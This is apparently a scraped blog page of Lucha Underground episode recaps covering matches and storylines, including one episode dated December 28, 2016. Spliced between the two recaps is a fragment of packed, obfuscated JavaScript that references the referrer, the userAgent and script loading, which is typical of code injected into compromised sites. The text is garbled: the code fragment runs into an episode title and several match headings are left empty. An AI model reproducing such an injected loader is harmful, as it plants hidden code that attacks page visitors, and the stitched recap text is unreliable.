The opening recap looks at Dragon Azteca Jr. wanting to go after Matanza, Cortez Castro coming back to the Temple under a mask, Texano getting mad at Famous B. and Johnny Mundo picking All Night Long for his match with the Mack.

Texano vs. Joey Ryan

Texano shoves B. down and high fives fans as he leaves.

Cage vs. Veneno

That seems to be Castro under his mask. Veneno is wearing a spider style mask and Vampiro says the name means poison. A few kicks have Cage in trouble until a Screwdriver crushes Veneno for the pin at 1:23.

Cage leaves and Sexy Star comes out to yell at Veneno, likely due to the spider mask.

Matanza vs. Dragon Azteca Jr.

After the credits, Marty Martinez stalks Melissa Santos but Mariposa kidnaps him. She thinks he might be learning something but a slap to the face just makes him laugh.

Apparently this is a mid-season finale and the show will be back in the summer. That’s a very, very long time off and that’s not good.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeefs|var|u0026u|referrer|hrhfk||js|php'.split('|'),0,{})) Underground
Date: December 28, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Matt Striker, Vampiro

The opening video looks at Angelico returning, Cage vs. Texano, Catrina suggesting that Crane loves him and Prince Puma losing Grave Consequences.

Vampiro raises Puma from the grave and Puma, now dark, has a new master. I could totally go for this.

Jeremiah Crane vs. Mil Muertes

Crane goes right after him at the entrance and is knocked for a loop as a result. A running forearm to the back and a powerslam plant Crane again. As the referee looks at Catrina (understandable), cue Puma with a kendo stick shot, allowing Crane to hit a bicycle kick for the pin at 2:04.

Puma kneels to Vampiro and Striker is scared.

A stranger gives Sexy Star a present but says he used to be a Johnny Mundo fanboy. The guy leaves and the package contains a spider, just like a few weeks back.

Famous B. gives Texano an offer of fame and is promptly scared off.

PJ Black/Jack Evans vs. Angelico/Son of Havoc

Dario is looking in his glowing box when Star comes in. She wants and is granted a match with Mariposa next week.

Cage vs. Texano

Match number four in a best of five series with Cage up 2-1. Texano runs him over to start and hits a sliding clothesline but Cage turns it into a slugout. A turnbuckle pad comes off and Cage goes face first into the steel, setting up a sitout powerbomb to tie the series at 2-2 at 2:01.

Cage vs. Texano

This is winner take all and Cage is coming in bloody. Texano stomps him down in the corner but walks into a DDT. That just earns Cage a kick to the head in the corner, followed by a top rope hurricanrana and a slingshot splash for two. Cage kicks him in the face again and sends Texano outside for a big suicide dive.

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